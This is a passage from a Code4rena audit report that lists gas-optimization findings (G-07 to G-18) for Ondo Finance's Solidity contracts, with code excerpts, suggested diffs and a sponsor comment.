119:  function _setFTokenToCToken(address fToken, address cToker
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracleV2.sol#L210

```
File: /contracts/lending/OndoPriceOracleV2.sol
210:  function _setFTokenToCToken(address fToken, address cToker

251:  function _setFTokenToChainlinkOracle(
252:    address fToken,
253:    address chainlinkOracle
254:  ) internal {

324:  function _min(uint256 a, uint256 b) internal pure returns
```

[G-07] Multiple accesses of a mapping/array should use a local variable cache

Caching a mapping's value in a local storage or calldata variable when the value is accessed multiple times saves ~42 gas per access due to not having to perform the same offset calculation every time.
Help the Optimizer by saving a storage variable's reference instead of repeatedly fetching it

To help the optimizer,declare a storage type variable and use it instead of repeatedly fetching the reference in a map or an array.
As an example, instead of repeatedly calling `someMap[someIndex]`, save its reference like this: `SomeStruct storage someStruct = someMap[someIndex]` and use it.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L662-L686

CashManager.sol.requestRedemption(): redemptionInfoPerEpoch[currentEpoch] should be cached in storage

```
File:/contracts/cash/CashManager.sol
662:  function requestRedemption(

678:    redemptionInfoPerEpoch[currentEpoch].addressToBurnAmt[
679:        msg.sender
680:      ] += amountCashToRedeem;
681:    redemptionInfoPerEpoch[currentEpoch].totalBurned += amou
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L851-L876

CashManager.sol.setPendingRedemptionBalance(): redemptionInfoPerEpoch[epoch] should be cached in local storage

```
File:/contracts/cash/CashManager.sol
851:  function setPendingRedemptionBalance(

859:    uint256 previousBalance = redemptionInfoPerEpoch[epoch].
860:      user
861:    ];

864:    if (balance < previousBalance) {
865:      redemptionInfoPerEpoch[epoch].totalBurned -= previousB
866:    } else if (balance > previousBalance) {
867:      redemptionInfoPerEpoch[epoch].totalBurned += balance -
868:    }
869:    redemptionInfoPerEpoch[epoch].addressToBurnAmt[user] = b
870:    emit PendingRedemptionBalanceSet(
871:      user,
872:      epoch,
873:      balance,
874:      redemptionInfoPerEpoch[epoch].totalBurned
875:    );
876:  }
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L720-L721

CTokenCash.sol.borrowFresh(): accountBorrows[borrower] should be cached in local storage

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
720:     accountBorrows[borrower].principal = accountBorrowsNew;/
721:     accountBorrows[borrower].interestIndex = borrowIndex;//@
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L822-L823

CTokenCash.sol.repayBorrowFresh(): accountBorrows[borrower] should be cached in local storage

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
822:     accountBorrows[borrower].principal = accountBorrowsNew;
823:     accountBorrows[borrower].interestIndex = borrowIndex;//@
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L720-L721

CTokenModified.sol.borrowFresh(): accountBorrows[borrower] should be cached in local storage

```
File:/contracts/lending/tokens/cToken/CTokenModified.sol
720:     accountBorrows[borrower].principal = accountBorrowsNew;/
721:     accountBorrows[borrower].interestIndex = borrowIndex;//@
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/t

okens/cToken/CTokenModified.sol#L822-L823

CTokenModified.sol.repayBorrowFresh(): accountBorrows[borrower] should be cached in local storage

```
File:/contracts/lending/tokens/cToken/CTokenModified.sol
822:    accountBorrows[borrower].principal = accountBorrowsNew;//
823:    accountBorrows[borrower].interestIndex = borrowIndex;//@a
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracleV2.sol#L251-L267

OndoPriceOracleV2.sol._setFTokenToChainlinkOracle(): fTokenToChainlinkOracle[fToken] should be cached in local storage

```
File: /contracts/lending/OndoPriceOracleV2.sol
251:  function _setFTokenToChainlinkOracle(

260:    fTokenToChainlinkOracle[fToken].scaleFactor = (10 **
261:      (36 -
262:        uint256(IERC20Like(underlying).decimals()) -
263:        uint256(AggregatorV3Interface(chainlinkOracle).decim
264:    fTokenToChainlinkOracle[fToken].oracle = AggregatorV3Int
265:      chainlinkOracle
266:    );//@audit: 2nd access
267:  }
```

[G-08] Emitting storage values instead of the memory one.

Here, the values emitted shouldn't be read from storage. The existing memory values should be used instead:

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/JumpRateModelV2.sol#L171-L190

```
File: /contracts/lending/JumpRateModelV2.sol
 171: function updateJumpRateModelInternal(

182:     kink = kink_;

184:     emit NewInterestParams(
185:       baseRatePerBlock,
186:       multiplierPerBlock,
187:       jumpMultiplierPerBlock,
188:       kink
189:     );
190:   }
```

```
diff --git a/contracts/lending/JumpRateModelV2.sol b/contracts/l
index a3971c6..cc525bb 100644
--- a/contracts/lending/JumpRateModelV2.sol
+++ b/contracts/lending/JumpRateModelV2.sol
@@ -185,7 +185,7 @@ contract JumpRateModelV2 is InterestRateMode
        baseRatePerBlock,
        multiplierPerBlock,
        jumpMultiplierPerBlock,
-       kink
+       kink_
      );
    }
 }
```

Other instances

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L817-L823

```
File: /contracts/cash/CashManager.sol

//@audit: we should emit newRedeemMinimum instead of minimumRede
817:   function setRedeemMinimum(
818:     uint256 newRedeemMinimum
819:   ) external onlyRole(MANAGER_ADMIN) {
820:     uint256 oldRedeemMin = minimumRedeemAmount;
821:     minimumRedeemAmount = newRedeemMinimum;
```

```
822:     emit MinimumRedeemAmountSet(oldRedeemMin, minimumRedeemA
823:   }
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cErc20ModifiedDelegator.sol#L720-L747

```
File: /contracts/lending/tokens/cErc20ModifiedDelegator.sol

//@audit: We should emit implementation_ instead of implementati
720:   function _setImplementation(
721:     address implementation_,
722:     bool allowResign,
723:     bytes memory becomeImplementationData
724:   ) public {

736:     address oldImplementation = implementation;
737:     implementation = implementation_;

746:     emit NewImplementation(oldImplementation, implementatior
747:   }
```

[G-09] Using storage instead of memory for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a memory variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (2100 gas) for each field of the struct/array. If the fields are read from the new memory variable, they incur an additional MLOAD rather than a cheap stack read. Instead of declearing the variable with the memory keyword, declaring the variable with the storage keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a memory variable, is if the full struct/array is being returned by the function, is being passed to a function that requires memory, or if the array/struct is being read from another memory array/struct

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/

OndoPriceOracleV2.sol#L284

```
File: /contracts/lending/OndoPriceOracleV2.sol
284:     ChainlinkOracleInfo memory chainlinkInfo = fTokenToChair
```

[G-10] Refactor the code here to avoid storage readings

Note: I've added some explanations as to how/why this would work

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L1256-L1295

1st instance

```
File: /contracts/lending/tokens/cToken/CTokenModified.sol
  function _reduceReservesFresh(uint reduceAmount) internal retu

    // Check caller is admin
    if (msg.sender != admin) {
      revert ReduceReservesAdminCheck();
    }

    doTransferOut(admin, reduceAmount);

    emit ReservesReduced(admin, reduceAmount, totalReservesNew);
```

The only way we get to `doTransferOut(admin, reduceAmount);` is if the `msg.sender` is equal to `admin`, therefore rather than use `admin` (storage variable) in the function call `doTransferOut(admin, reduceAmount);` we could use the cheaper `msg.sender`. Similar to the emit line, we could just emit `msg.sender`

```
diff --git a/contracts/lending/tokens/cToken/CTokenModified.sol
index 8798b90..45b24da 100644
--- a/contracts/lending/tokens/cToken/CTokenModified.sol
+++ b/contracts/lending/tokens/cToken/CTokenModified.sol
@@ -1287,9 +1287,9 @@ abstract contract CTokenModified is
     totalReserves = totalReservesNew;
```

```
     // doTransferOut reverts if anything goes wrong, since we c
-    doTransferOut(admin, reduceAmount);
+    doTransferOut(payable(msg.sender), reduceAmount);

-    emit ReservesReduced(admin, reduceAmount, totalReservesNew)
+    emit ReservesReduced(msg.sender, reduceAmount, totalReserve

     return NO_ERROR;
   }
```

2nd instance

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L1253-L1292

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
1253:  function _reduceReservesFresh(uint reduceAmount) internal

1257:    // Check caller is admin
1258:    if (msg.sender != admin) {
1259:      revert ReduceReservesAdminCheck();
1260:    }

1287:    doTransferOut(admin, reduceAmount);//@audit: use msg.se

1289:    emit ReservesReduced(admin, reduceAmount, totalReserves
```

3rd instance

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CCash.sol#L150-L161

```
File:/contracts/lending/tokens/cCash/CCash.sol
150:  function sweepToken(EIP20NonStandardInterface token) exter
151:   require(
152:      msg.sender == admin,
153:      "cErc20::sweepToken: only admin can sweep tokens"
154:    );

160:    token.transfer(admin, balance);
```

```
161:   }
```

Since we are checking that `msg.sender == admin` , it means the only way we get to line 160 is if the two are equal thus we can just use `msg.sender` (global variable - cheaper) in `token.transfer(admin, balance);` rather than use `admin` (storage variable - expensive).

```
diff --git a/contracts/lending/tokens/cCash/CCash.sol b/contract
index 996283d..9f83506 100644
--- a/contracts/lending/tokens/cCash/CCash.sol
+++ b/contracts/lending/tokens/cCash/CCash.sol
@@ -157,7 +157,7 @@ contract CCash is CTokenCash, CErc20Interfac
       "cErc20::sweepToken: can not sweep underlying token"
     );
     uint256 balance = token.balanceOf(address(this));
-    token.transfer(admin, balance);
+    token.transfer(payable(msg.sender), balance);
   }
```

4th instance
https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CCash.sol#L30-L56

```
File: /contracts/lending/tokens/cCash/CCash.sol
30:  function initialize(

53:    // Set underlying and sanity check it
54:    underlying = underlying_;
55:    EIP20Interface(underlying).totalSupply();
56:  }
```

As `underlying` (storage variable) is equal to `underlying_` (local variable) it would be cheaper to just read the local variable here
`EIP20Interface(underlying).totalSupply();`

```
diff --git a/contracts/lending/tokens/cCash/CCash.sol b/contract
```

```
index 996283d..8e30298 100644
--- a/contracts/lending/tokens/cCash/CCash.sol
+++ b/contracts/lending/tokens/cCash/CCash.sol
@@ -52,7 +52,7 @@ contract CCash is CTokenCash, CErc20Interface

     // Set underlying and sanity check it
     underlying = underlying_;
-    EIP20Interface(underlying).totalSupply();
+    EIP20Interface(underlying_).totalSupply();
   }
```

5th instance

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CErc20.sol#L30-L56

```
File: /contracts/lending/tokens/cToken/CErc20.sol
30:  function initialize(

53:    // Set underlying and sanity check it
54:    underlying = underlying_;
55:    EIP20Interface(underlying).totalSupply();
56:  }
```

```
diff --git a/contracts/lending/tokens/cToken/CErc20.sol b/contra
index 6998c56..3bb0011 100644
--- a/contracts/lending/tokens/cToken/CErc20.sol
+++ b/contracts/lending/tokens/cToken/CErc20.sol
@@ -52,7 +52,7 @@ contract CErc20 is CTokenModified, CErc20Inter

     // Set underlying and sanity check it
     underlying = underlying_;
-    EIP20Interface(underlying).totalSupply();
+    EIP20Interface(underlying_).totalSupply();
   }
```

6th instance

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CErc20.sol#L150-L161

```
File:/contracts/lending/tokens/cToken/CErc20.sol
150:  function sweepToken(EIP20NonStandardInterface token) exter
151:   require(
152:     msg.sender == admin,
153:     "cErc20::sweepToken: only admin can sweep tokens"
154:    );

160:    token.transfer(admin, balance);
161:  }
```

The require statement ensures that `msg.sender == admin` therefore we can use `msg.sender` (global variable - cheap) in `token.transfer(admin, balance)` rather than `admin` (storage - expensive)

```
diff --git a/contracts/lending/tokens/cToken/CErc20.sol b/contra
index 6998c56..2684cbf 100644
--- a/contracts/lending/tokens/cToken/CErc20.sol
+++ b/contracts/lending/tokens/cToken/CErc20.sol
@@ -157,7 +157,7 @@ contract CErc20 is CTokenModified, CErc20Int
       "cErc20::sweepToken: can not sweep underlying token"
     );
     uint256 balance = token.balanceOf(address(this));
-    token.transfer(admin, balance);
+    token.transfer(payable(msg.sender), balance);
   }
```

[G-11] Duplicated require()/revert() checks should be refactored to a modifier or function

This saves deployment gas.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CCash.sol#L151-L154

```
File: /contracts/lending/tokens/cCash/CCash.sol
151:    require(
152:      msg.sender == admin,
153:      "cErc20::sweepToken: only admin can sweep tokens"
```

```
154:     );
```

The above check is also repeated on Line 269

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CErc20.sol#L151-L154

```
File: /contracts/lending/tokens/cToken/CErc20.sol
151:     require(
152:       msg.sender == admin,
153:       "cErc20::sweepToken: only admin can sweep tokens"
154:     );
```

Repeated on the following:

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CErc20.sol#L269-L272

Other instances
https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CCashDelegate.sol#L30-L33

```
File: /contracts/lending/tokens/cCash/CCashDelegate.sol
30:     require(
31:       msg.sender == admin,
32:       "only the admin may call _becomeImplementation"
33:     );

45:     require(
46:       msg.sender == admin,
47:       "only the admin may call _resignImplementation"
48:     );
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/t

okens/cToken/CTokenDelegate.sol#L30-L33

```
File: /contracts/lending/tokens/cToken/CTokenDelegate.sol
30:     require(
31:       msg.sender == admin,
32:       "only the admin may call _becomeImplementation"
33:     );

45:     require(
46:       msg.sender == admin,
47:       "only the admin may call _resignImplementation"
48:     );
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L44

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
44:     require(msg.sender == admin, "only admin may initialize t
```

We can have a modifier that checks that the msg.sender is the admin. Unless we really need to have different error messages we could generalize the errors for all functions that expect to be called by an admin.

The above check or a variation of it is found on the following lines

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L1064-L1066

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
1064:     if (msg.sender != admin) {
1065:       revert SetPendingAdminOwnerCheck();
1066:     }


1116:     if (msg.sender != admin) {
1117:       revert SetComptrollerOwnerCheck();
1118:     }
```

```
1155:     if (msg.sender != admin) {
1156:       revert SetReserveFactorAdminCheck();
1157:     }

1258:     if (msg.sender != admin) {
1259:       revert ReduceReservesAdminCheck();
1260:     }

1321:     if (msg.sender != admin) {
1322:       revert SetInterestRateModelOwnerCheck();
1323:     }

1357:     require(msg.sender == admin, "Only admin can set KYC re

1379:     require(msg.sender == admin, "Only admin can set KYC re
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L44

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol

44:     require(msg.sender == admin, "only admin may initialize t

1064:     if (msg.sender != admin) {
1065:       revert SetPendingAdminOwnerCheck();
1066:     }

1116:     if (msg.sender != admin) {
1117:       revert SetComptrollerOwnerCheck();
1118:     }

1155:     if (msg.sender != admin) {
1156:       revert SetReserveFactorAdminCheck();
1157:     }

1261:     if (msg.sender != admin) {
1262:       revert ReduceReservesAdminCheck();
1263:     }

1324:     if (msg.sender != admin) {
```

```
1325:       revert SetInterestRateModelOwnerCheck();
1326:     }

1360:     require(msg.sender == admin, "Only admin can set KYC re

1382:     require(msg.sender == admin, "Only admin can set KYC re
```

[G-12] x += y costs more gas than x = x + y for state variables

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L582

Saves 24 Gas on average

	Min	Average	Median	Max
Before	1176	1420	1469	1469
After	1156	1396	1444	1444

```
File: /contracts/cash/CashManager.sol
582:       currentEpoch += epochDifference;
```

```
diff --git a/contracts/cash/CashManager.sol b/contracts/cash/Cas
index 4eb4203..3156721 100644
--- a/contracts/cash/CashManager.sol
+++ b/contracts/cash/CashManager.sol
@@ -579,7 +579,7 @@ contract CashManager is
     if (epochDifference > 0) {
       currentRedeemAmount = 0;
       currentMintAmount = 0;
-      currentEpoch += epochDifference;
+      currentEpoch = currentEpoch + epochDifference;
       currentEpochStartTimestamp =
         block.timestamp -
         (block.timestamp % epochDuration);
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/Cas

hManager.sol#L630

```
File: /contracts/cash/CashManager.sol
630:     currentMintAmount += collateralAmountIn;

649:     currentRedeemAmount += amount;
```

[G-13] Using unchecked blocks to save gas

Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an unchecked block.
see resource

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L297

```
File: /contracts/cash/CashManager.sol
297:       rateDifference = exchangeRate - lastSetMintExchangeRat
```

The operation `exchangeRate - lastSetMintExchangeRate` cannot underflow as it would only be evaluated if `exchangeRate` is greater than `lastSetMintExchangeRate`

We can modify it as follows

```
diff --git a/contracts/cash/CashManager.sol b/contracts/cash/Cas
index 4eb4203..a99cea7 100644
--- a/contracts/cash/CashManager.sol
+++ b/contracts/cash/CashManager.sol
@@ -294,7 +294,10 @@ contract CashManager is

      uint256 rateDifference;
      if (exchangeRate > lastSetMintExchangeRate) {
-       rateDifference = exchangeRate - lastSetMintExchangeRate;
```

```
+       unchecked {
+         rateDifference = exchangeRate - lastSetMintExchangeRate
+       }
+
      }
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L299

```
File: /contracts/cash/CashManager.sol
299:       rateDifference = lastSetMintExchangeRate - exchangeRat
```

The operation `lastSetMintExchangeRate - exchangeRate` cannot underflow as it would only be evaluated if `lastSetMintExchangeRate` is greater than `exchangeRate`.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L865

```
File: /contracts/cash/CashManager.sol
865:       redemptionInfoPerEpoch[epoch].totalBurned -= previousB
```

The operation `previousBalance - balance` cannot underflow as it would only be evaluated if `previousBalance` is greater than `balance` due to the check on Line 864.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L865

```
File: /contracts/cash/CashManager.sol
867:       redemptionInfoPerEpoch[epoch].totalBurned += balance -
```

The operation `balance - previousBalance` cannot underflow as it would only be evaluated if `balance` is greater than `previousBalance` due to the check on Line 866.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L1281

```
File: /contracts/cash/CashManager.sol
1281:     totalReservesNew = totalReserves - reduceAmount;
```

The operation `totalReserves - reduceAmount` cannot underflow due to the check on Line 1273 that ensures that **totalReserves** is greater than **reduceAmount** before performing the arithemtic operation.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L1284

```
File: /contracts/cash/CashManager.sol
1284:     totalReservesNew = totalReserves - reduceAmount;
```

The operation `totalReserves - reduceAmount` cannot underflow due to the check on Line 1276 that ensures that **totalReserves** is greater than **reduceAmount** before performing the arithemtic operation.

[G-14] Using unchecked blocks to save gas - Increments in for loop can be unchecked (save 30-40 gas per loop iteration)

The majority of Solidity for loops increment a uint256 variable that starts at 0. These increment operations never need to be checked for over/underflow because the variable will never reach the max number of uint256 (will run out of gas long before that happens). The default over/underflow check wastes gas in every iteration of virtually every for loop . eg.

e.g Let's work with a sample loop below.

```
for(uint256 i; i < 10; i++){
//doSomething
}
```

can be written as shown below.

```
for(uint256 i; i < 10;) {
  // loop logic
  unchecked { i++; }
}
```

We can also write it as an inlined function like below.

```
function inc(i) internal pure returns (uint256) {
  unchecked { return i + 1; }
}
for(uint256 i; i < 10; i = inc(i)) {
  // doSomething
}
```

Affected code
https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/factory/CashFactory.sol#L127-L133

```
File: /contracts/cash/factory/CashFactory.sol
127:     for (uint256 i = 0; i < exCallData.length; ++i) {
128:       (bool success, bytes memory ret) = address(exCallData[
129:         value: exCallData[i].value
130:       }(exCallData[i].data);
131:       require(success, "Call Failed");
132:       results[i] = ret;
133:     }
```

The above should be modified to:

```
diff --git a/contracts/cash/factory/CashFactory.sol b/contracts/
index 24b67ba..84bb244 100644
--- a/contracts/cash/factory/CashFactory.sol
+++ b/contracts/cash/factory/CashFactory.sol
@@ -124,12 +124,15 @@ contract CashFactory is IMulticall {
     ExCallData[] calldata exCallData
   ) external payable override onlyGuardian returns (bytes[] mem
     results = new bytes[](exCallData.length);
-    for (uint256 i = 0; i < exCallData.length; ++i) {
+    for (uint256 i = 0; i < exCallData.length;) {
       (bool success, bytes memory ret) = address(exCallData[i].
         value: exCallData[i].value
       }(exCallData[i].data);
       require(success, "Call Failed");
       results[i] = ret;
+      unchecked {
+        ++i;
+      }
     }
   }
```

Other Instances to modify

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/factory/CashKYCSenderFactory.sol#L137

```
File: /contracts/cash/factory/CashKYCSenderFactory.sol
137:     for (uint256 i = 0; i < exCallData.length; ++i) {
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/factory/CashKYCSenderReceiverFactory.sol#L137

```
File: /contracts/cash/factory/CashKYCSenderReceiverFactory.sol
137:     for (uint256 i = 0; i < exCallData.length; ++i) {
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/kyc/KYCRegistry.sol#L163

```
File: /contracts/cash/kyc/KYCRegistry.sol
163:     for (uint256 i = 0; i < length; i++) {

180:     for (uint256 i = 0; i < length; i++) {
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/CashManager.sol#L750

```
File: /contracts/cash/CashManager.sol
750:     for (uint256 i = 0; i < size; ++i) {

786:     for (uint256 i = 0; i < size; ++i) {

933:     for (uint256 i = 0; i < size; ++i) {

961:     for (uint256 i = 0; i < exCallData.length; ++i) {
```

see resource

[G-15] Splitting require() statements that use && saves gas - (saves 8 gas per &&)

Instead of using the && operator in a single require statement to check multiple conditions,using multiple require statements with 1 condition per require statement will save 8 GAS per `&&`.

The gas difference would only be realized if the revert condition is realized(met).

Proof of Concept

The following tests were carried out in remix with both optimization turned on and off

```
function multiple (uint a) public pure returns (uint){
        require ( a > 1 && a < 5, "Initialized");
        return  a + 2;
}
```

Execution cost
21617 with optimization and using `&&`
21976 without optimization and using `&&`

After splitting the require statement

```
function multiple(uint a) public pure returns (uint){
        require (a > 1 ,"Initialized");
        require (a < 5 , "Initialized");
        return a + 2;
}
```

Execution cost
21609 with optimization and split require
21968 without optimization and using split require

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracleV2.sol#L292-L296

```
File: /contracts/lending/OndoPriceOracleV2.sol
292:     require(
293:       (answeredInRound >= roundId) &&
294:         (updatedAt >= block.timestamp - maxChainlinkOracleTi
295:       "Chainlink oracle price is stale"
296:     );
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L45-L48

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
45:     require(
46:       accrualBlockNumber == 0 && borrowIndex == 0,
47:       "market may only be initialized once"
48:     );
```

[G-16] Reorder the require statements to have the less gas consuming before the expensive one

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Save 225 gas on average | | Min | Average | Median | Max | | ------ | --- | ------- | ------ | ----- | | Before | 752 | 23892 | 34436 | 41128 | | After | 690 | 23667 | 34436 | 41128 |

```
File: /contracts/cash/kyc/KYCRegistry.sol
79: function addKYCAddressViaSignature(
80:     uint256 kycRequirementGroup,
81:     address user,
82:     uint256 deadline,
83:     uint8 v,
84:     bytes32 r,
85:     bytes32 s
86:   ) external {
87:     require(v == 27 || v == 28, "KYCRegistry: invalid v value
88:     require(
89:       !kycState[kycRequirementGroup][user],
90:       "KYCRegistry: user already verified"
91:     );
92:     require(block.timestamp <= deadline, "KYCRegistry: signat
```

Its cheaper to check for `block.timestamp <= deadline` as compared to `!kycState\[kycRequirementGroup]\[user]` as this involves reading the storage variable. Therefore if the `require(block.timestamp <= deadline, "KYCRegistry: signature expired");` fails it would be cheaper to fail before evaluating the `!kycState\[kycRequirementGroup]\[user]`

```
diff --git a/contracts/cash/kyc/KYCRegistry.sol b/contracts/cash
index 896c727..d5401df 100644
--- a/contracts/cash/kyc/KYCRegistry.sol
+++ b/contracts/cash/kyc/KYCRegistry.sol
@@ -85,11 +85,12 @@ contract KYCRegistry is AccessControlEnumera
     bytes32 s
   ) external {
     require(v == 27 || v == 28, "KYCRegistry: invalid v value i
+    require(block.timestamp <= deadline, "KYCRegistry: signatur
+
     require(
       !kycState[kycRequirementGroup][user],
       "KYCRegistry: user already verified"
     );
-    require(block.timestamp <= deadline, "KYCRegistry: signatur
     bytes32 structHash = keccak256(
       abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user,
     );
```

[G-17] Caching global variables is more expensive than using the actual variable(use msg.sender instead of caching it)

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L182-L190

It's cheaper to use msg.sender as compared to caching

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
182:  function approve(
183:    address spender,
184:    uint256 amount
185:  ) external override returns (bool) {
186:    address src = msg.sender;
187:    transferAllowances[src][spender] = amount;
188:    emit Approval(src, spender, amount);
189:    return true;
190:  }
```

```
diff --git a/contracts/lending/tokens/cCash/CTokenCash.sol b/cor
index 93d5000..2dbaadd 100644
```

```
--- a/contracts/lending/tokens/cCash/CTokenCash.sol
+++ b/contracts/lending/tokens/cCash/CTokenCash.sol
@@ -183,9 +183,8 @@ abstract contract CTokenCash is
     address spender,
     uint256 amount
   ) external override returns (bool) {
-    address src = msg.sender;
-    transferAllowances[src][spender] = amount;
-    emit Approval(src, spender, amount);
+    transferAllowances[msg.sender][spender] = amount;
+    emit Approval(msg.sender, spender, amount);
     return true;
   }
```

[G-18] Use a more recent version of solidity

Use a solidity version of at least 0.8 to get default underflow/overflow checks, use a solidity version of at least 0.8.2 to get simple compiler automatic inlining Use a solidity version of at least 0.8.3 to get better struct packing and cheaper multiple storage reads Use a solidity version of at least 0.8.4 to get custom errors, which are cheaper at deployment than revert()/require() strings Use a solidity version of at least 0.8.10 to have external calls skip contract existence checks if the external call has a return value.

We can avoid using the library safeMath in the following file by using version 0.8+

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/JumpRateModelV2.sol#L1

```
File: /contracts/lending/JumpRateModelV2.sol
1:pragma solidity ^0.5.16;
```

ypatil12 (Ondo Finance) commented:

> Amazing report.

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top